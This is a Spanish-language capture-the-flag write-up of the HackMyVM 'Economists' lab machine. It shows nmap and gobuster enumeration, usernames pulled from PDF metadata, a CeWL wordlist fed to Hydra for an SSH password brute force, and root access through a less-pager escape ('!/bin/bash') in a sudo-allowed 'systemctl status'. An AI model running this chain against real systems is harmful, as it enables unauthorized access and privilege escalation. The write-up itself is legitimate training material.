cd ~/blog

~/writeups/hmv/043-economists.md

043 - Economists

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Metadata ExposureContextual Password GuessingSudo-Allowed Program AbusePager Escape
hackmyvm.eu/machines/machine.php?vm=Economists

~1 min de lectura


Enumeración de servicios

El objetivo expone FTP, SSH y HTTP. FTP permite acceso anónimo y contiene varios PDF; estos documentos son especialmente interesantes porque sus metadatos pueden conservar nombres de autores o cuentas del sistema:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.41
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.41
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-12 14:38 -03
Nmap scan report for 192.168.1.41
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1000     1000       173864 Sep 13 11:40 Brochure-1.pdf
| -rw-rw-r--    1 1000     1000       183931 Sep 13 11:37 Brochure-2.pdf
| -rw-rw-r--    1 1000     1000       465409 Sep 13 14:18 Financial-infographics-poster.pdf
| -rw-rw-r--    1 1000     1000       269546 Sep 13 14:19 Gameboard-poster.pdf
| -rw-rw-r--    1 1000     1000       126644 Sep 13 14:20 Growth-timeline.pdf
|_-rw-rw-r--    1 1000     1000      1170323 Sep 13 10:13 Population-poster.pdf
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d9:fe:dc:77:b8:fc:e6:4c:cf:15:29:a7:e7:21:a2:62 (RSA)
|   256 be:66:01:fb:d5:85:68:c7:25:94:b9:00:f9:cd:41:01 (ECDSA)
|_  256 18:b4:74:4f:f2:3c:b3:13:1a:24:13:46:5c:fa:40:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home - Elite Economists
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

Enumeración web y resolución del dominio

Gobuster descubre readme.txt y WhatWeb extrae el dominio elite-economists.hmv desde el correo publicado por la aplicación. Lo asociamos con la IP objetivo en /etc/hosts para que las peticiones con virtual hosting lleguen al sitio correcto:

❯ gobuster dir -u http://192.168.1.41 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/readme.txt           (Status: 200) [Size: 410]
...

❯ whatweb http://192.168.1.41
http://192.168.1.41 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@elite-economists.hmv], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.1.41], JQuery, Script, Title[Home - Elite Economists]

Metadata Exposure y Contextual Password Guessing

Descargamos los PDF y usamos exiftool para revisar campos como Author y Creator. Esta Metadata Exposure no entrega una contraseña, pero reduce la incertidumbre al revelar identidades que pueden coincidir con cuentas del sistema. Los cuatro usuarios candidatos se guardan en users.txt:

joseph
richard
crystal
catherine

En paralelo, CeWL recorre hasta tres niveles del sitio y conserva palabras de cinco o más caracteres. El resultado es un diccionario contextual, más relevante que una lista genérica porque contiene términos visibles para las personas de la organización:

❯ cewl.rb -d 3 -m 5 http://elite-economists.hmv > ./wordlist.txt

Probamos usuarios y palabras contra SSH. Hydra confirma un caso de Contextual Password Guessing al identificar joseph:wealthiest:

❯ hydra -L users.txt -P wordlist.txt 192.168.1.41 ssh
...
[22][ssh] host: 192.168.1.41   login: joseph   password: wealthiest
...

Acceso inicial y enumeración de privilegios

Las credenciales permiten iniciar sesión como joseph y recuperar la primera flag. sudo -l muestra que puede ejecutar systemctl status como root sin contraseña:

joseph@elite-economists:~$ sudo -l
Matching Defaults entries for joseph on elite-economists:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joseph may run the following commands on elite-economists:
    (ALL) NOPASSWD: /usr/bin/systemctl status

Sudo-Allowed Program Abuse mediante Pager Escape

La regla deriva en Sudo-Allowed Program Abuse. systemctl status no inicia un servicio controlado por nosotros, pero cuando la salida no cabe en la terminal abre un pager compatible con less. Ese proceso hereda los privilegios de la invocación mediante sudo y admite !comando para lanzar órdenes externas. Introducimos !/bin/bash dentro del pager:

joseph@elite-economists:~$ sudo systemctl status
...
!/bin/bash
root@elite-economists:/home/joseph#

El nuevo prompt pertenece a root; confirmamos con id, recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados